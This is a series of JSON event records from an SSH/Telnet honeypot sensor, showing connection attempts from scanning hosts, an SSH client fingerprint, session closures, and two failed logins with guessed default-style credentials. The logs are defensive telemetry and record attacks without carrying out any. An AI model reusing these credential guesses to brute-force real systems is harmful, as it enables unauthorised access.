{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53478,"dst_ip":"159.203.135.109","dst_port":22,"session":"f31cb524b3c5","protocol":"ssh","message":"New connection: 159.203.92.129:53478 (159.203.135.109:22) [session: f31cb524b3c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:45.723940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:45.729012Z","src_ip":"159.203.92.129","session":"f31cb524b3c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:45.733875Z","src_ip":"159.203.92.129","session":"f31cb524b3c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arena","password":"arena","message":"login attempt [arena/arena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:45.748111Z","src_ip":"159.203.92.129","session":"f31cb524b3c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.578526258468628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:45.977920Z","src_ip":"108.179.218.230","session":"0d676762bbe7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":42208,"dst_ip":"10.17.0.5","dst_port":23,"session":"50db76eff115","protocol":"telnet","message":"New connection: 108.179.218.230:42208 (10.17.0.5:23) [session: 50db76eff115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:45.993532Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":36448,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ee96e87d509","protocol":"telnet","message":"New connection: 40.84.199.249:36448 (10.17.0.5:23) [session: 4ee96e87d509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:46.223537Z"}
{"eventid":"cowrie.session.closed","duration":30.107381105422974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:46.423390Z","src_ip":"108.179.218.230","session":"8de0260a0d8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.633045196533203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:46.460487Z","src_ip":"108.179.218.230","session":"502dd1d9adbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":42000,"dst_ip":"10.17.0.5","dst_port":23,"session":"a504c8d68f37","protocol":"telnet","message":"New connection: 108.179.218.230:42000 (10.17.0.5:23) [session: a504c8d68f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:46.465704Z"}
{"eventid":"cowrie.session.closed","duration":30.43790364265442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:46.549500Z","src_ip":"108.179.218.230","session":"67218f3f90f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17535662651062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:46.720421Z","src_ip":"108.179.218.230","session":"adf627978bbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:46.756670Z","src_ip":"159.203.92.129","session":"f31cb524b3c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.924023866653442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:47.314009Z","src_ip":"176.74.31.147","session":"7bf0f288b615","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":34484,"dst_ip":"159.203.135.109","dst_port":23,"session":"f305156bc34f","protocol":"telnet","message":"New connection: 176.74.31.147:34484 (159.203.135.109:23) [session: f305156bc34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:47.423601Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":34618,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf0aff01355c","protocol":"telnet","message":"New connection: 176.74.31.147:34618 (159.203.135.109:23) [session: cf0aff01355c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:47.472191Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":36814,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7ab1bcd0e40","protocol":"telnet","message":"New connection: 40.84.199.249:36814 (10.17.0.5:23) [session: a7ab1bcd0e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:47.934986Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":42666,"dst_ip":"10.17.0.5","dst_port":23,"session":"97ae900ce23a","protocol":"telnet","message":"New connection: 108.179.218.230:42666 (10.17.0.5:23) [session: 97ae900ce23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:48.156498Z"}
{"eventid":"cowrie.session.closed","duration":30.749720096588135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:48.939200Z","src_ip":"108.179.218.230","session":"025e63577c07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17837166786194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:49.257778Z","src_ip":"162.241.40.195","session":"b9cd68d1b85f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":43524,"dst_ip":"10.17.0.5","dst_port":23,"session":"22bb516bf865","protocol":"telnet","message":"New connection: 108.179.218.230:43524 (10.17.0.5:23) [session: 22bb516bf865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:49.325829Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":44008,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f1865c08aec","protocol":"telnet","message":"New connection: 108.179.218.230:44008 (10.17.0.5:23) [session: 1f1865c08aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:50.274744Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":44160,"dst_ip":"10.17.0.5","dst_port":23,"session":"beee426906e6","protocol":"telnet","message":"New connection: 108.179.218.230:44160 (10.17.0.5:23) [session: beee426906e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:50.626726Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":44868,"dst_ip":"10.17.0.5","dst_port":23,"session":"fded5958af90","protocol":"telnet","message":"New connection: 108.179.218.230:44868 (10.17.0.5:23) [session: fded5958af90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:53.237972Z"}
{"eventid":"cowrie.session.closed","duration":30.90582776069641,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:53.811105Z","src_ip":"162.241.40.195","session":"cbf9de8c2117","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":45218,"dst_ip":"10.17.0.5","dst_port":23,"session":"1acb3a1e7384","protocol":"telnet","message":"New connection: 108.179.218.230:45218 (10.17.0.5:23) [session: 1acb3a1e7384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:54.128728Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":45656,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0541bf16e90","protocol":"telnet","message":"New connection: 108.179.218.230:45656 (10.17.0.5:23) [session: a0541bf16e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:54.303532Z"}
{"eventid":"cowrie.session.closed","duration":31.56224799156189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:54.977653Z","src_ip":"108.179.218.230","session":"ca6ce2396b25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":38959,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cdd54d6ff73","protocol":"telnet","message":"New connection: 133.130.75.21:38959 (10.17.0.5:23) [session: 2cdd54d6ff73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:55.477245Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:55.682163Z","src_ip":"122.168.114.167","session":"07ba2855b888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.267623901367188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:56.572117Z","src_ip":"133.130.75.21","session":"fe16b8fdbc8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.274357795715332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:57.141783Z","src_ip":"133.130.75.21","session":"6d698a495f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":46340,"dst_ip":"10.17.0.5","dst_port":23,"session":"efbf8397c746","protocol":"telnet","message":"New connection: 108.179.218.230:46340 (10.17.0.5:23) [session: efbf8397c746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:57.219017Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":35282,"dst_ip":"159.203.135.109","dst_port":23,"session":"60adf565b26d","protocol":"telnet","message":"New connection: 185.26.126.47:35282 (159.203.135.109:23) [session: 60adf565b26d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:57.897978Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":45888,"dst_ip":"10.17.0.5","dst_port":23,"session":"164f368445c7","protocol":"telnet","message":"New connection: 108.179.218.230:45888 (10.17.0.5:23) [session: 164f368445c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:57.973244Z"}
{"eventid":"cowrie.session.closed","duration":30.186516046524048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:58.091392Z","src_ip":"133.130.75.21","session":"9ab34bc32c66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":47082,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c0bd87ee55c","protocol":"telnet","message":"New connection: 108.179.218.230:47082 (10.17.0.5:23) [session: 2c0bd87ee55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:58.106259Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":37564,"dst_ip":"10.17.0.5","dst_port":23,"session":"af635b74fde4","protocol":"telnet","message":"New connection: 162.241.40.195:37564 (10.17.0.5:23) [session: af635b74fde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:58.668614Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":46248,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4f4db1e197c","protocol":"telnet","message":"New connection: 108.179.218.230:46248 (10.17.0.5:23) [session: d4f4db1e197c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:58.840511Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":47416,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f4211258e4b","protocol":"telnet","message":"New connection: 108.179.218.230:47416 (10.17.0.5:23) [session: 9f4211258e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:59.022089Z"}
{"eventid":"cowrie.session.closed","duration":30.92396092414856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:59.336009Z","src_ip":"176.74.31.147","session":"081d0b30115c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902644872665405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:59.350203Z","src_ip":"176.74.31.147","session":"1efc0fb6bfaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15879487991333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:00.016304Z","src_ip":"108.179.218.230","session":"4f4307f9b458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"20.8","message":"Connection lost after 20.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:00.218587Z","src_ip":"122.168.114.167","session":"07ba2855b888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.76849102973938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:00.578320Z","src_ip":"108.179.218.230","session":"505e75c28c66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.518020391464233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:00.640045Z","src_ip":"40.84.199.249","session":"b7cf0f537fa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":48052,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0b2ea4aa99d","protocol":"telnet","message":"New connection: 108.179.218.230:48052 (10.17.0.5:23) [session: c0b2ea4aa99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:00.790820Z"}
{"eventid":"cowrie.session.closed","duration":30.725985288619995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:01.026523Z","src_ip":"108.179.218.230","session":"2b4459039a94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.626776218414307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:01.101432Z","src_ip":"108.179.218.230","session":"af1230663242","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913956880569458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:01.559978Z","src_ip":"108.179.218.230","session":"8c902a57cd4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.037197589874268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:01.582743Z","src_ip":"108.179.218.230","session":"5d79abc6478f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":48494,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd34b8c93e2","protocol":"telnet","message":"New connection: 108.179.218.230:48494 (10.17.0.5:23) [session: 8bd34b8c93e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:02.085416Z"}
{"eventid":"cowrie.session.closed","duration":30.695605993270874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:02.193215Z","src_ip":"162.241.40.195","session":"89bd8eeb8e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":44440,"dst_ip":"159.203.135.109","dst_port":23,"session":"560625635fe7","protocol":"telnet","message":"New connection: 176.74.31.147:44440 (159.203.135.109:23) [session: 560625635fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:02.202573Z"}
{"eventid":"cowrie.session.closed","duration":31.49174451828003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:02.333074Z","src_ip":"162.241.40.195","session":"c7c83bb7dd1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":48790,"dst_ip":"10.17.0.5","dst_port":23,"session":"1294e47cc1d6","protocol":"telnet","message":"New connection: 108.179.218.230:48790 (10.17.0.5:23) [session: 1294e47cc1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:02.659616Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":49302,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fb21ae4971c","protocol":"telnet","message":"New connection: 108.179.218.230:49302 (10.17.0.5:23) [session: 3fb21ae4971c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:03.981208Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":48038,"dst_ip":"10.17.0.5","dst_port":23,"session":"38fb823de2af","protocol":"telnet","message":"New connection: 108.179.218.230:48038 (10.17.0.5:23) [session: 38fb823de2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:04.796570Z"}
{"eventid":"cowrie.session.closed","duration":30.907994985580444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:06.045882Z","src_ip":"162.241.40.195","session":"8aa3ec12159e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":50310,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4aa14863d78","protocol":"telnet","message":"New connection: 108.179.218.230:50310 (10.17.0.5:23) [session: e4aa14863d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:06.528514Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":50074,"dst_ip":"10.17.0.5","dst_port":23,"session":"dad30699aa3f","protocol":"telnet","message":"New connection: 108.179.218.230:50074 (10.17.0.5:23) [session: dad30699aa3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:06.980176Z"}
{"eventid":"cowrie.session.closed","duration":31.44612216949463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:07.293425Z","src_ip":"108.179.218.230","session":"fad64b0e2e45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":50584,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca8c1d6429d6","protocol":"telnet","message":"New connection: 108.179.218.230:50584 (10.17.0.5:23) [session: ca8c1d6429d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:07.374343Z"}
{"eventid":"cowrie.session.closed","duration":30.705354928970337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:07.737131Z","src_ip":"108.179.218.230","session":"3d695fb42065","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":51028,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dd81def777d","protocol":"telnet","message":"New connection: 108.179.218.230:51028 (10.17.0.5:23) [session: 9dd81def777d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:08.355997Z"}
{"eventid":"cowrie.session.closed","duration":31.745769262313843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:08.376853Z","src_ip":"108.179.218.230","session":"be16b05055a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":50678,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bda4c4f4892","protocol":"telnet","message":"New connection: 108.179.218.230:50678 (10.17.0.5:23) [session: 7bda4c4f4892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:08.581939Z"}
{"eventid":"cowrie.session.closed","duration":30.849902153015137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:09.135172Z","src_ip":"176.74.31.147","session":"ae895d366a9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947765827178955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:09.209287Z","src_ip":"176.74.31.147","session":"29e1da982cfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760993003845215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:09.219375Z","src_ip":"212.47.75.195","session":"added3d3f193","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05591106414795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:09.636500Z","src_ip":"108.179.218.230","session":"0403977a6911","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":51216,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a6c7983e33b","protocol":"telnet","message":"New connection: 108.179.218.230:51216 (10.17.0.5:23) [session: 3a6c7983e33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:09.749615Z"}
{"eventid":"cowrie.session.closed","duration":30.914148330688477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:09.940008Z","src_ip":"108.179.218.230","session":"90b6c4b92ecd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78053855895996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:10.555124Z","src_ip":"108.179.218.230","session":"2a9f1ca911ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":51882,"dst_ip":"10.17.0.5","dst_port":23,"session":"08da7a20f8d4","protocol":"telnet","message":"New connection: 108.179.218.230:51882 (10.17.0.5:23) [session: 08da7a20f8d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:10.628961Z"}
{"eventid":"cowrie.session.closed","duration":30.866207122802734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:11.120363Z","src_ip":"212.47.75.195","session":"b8ec75988d2c","protocol":"telnet"}
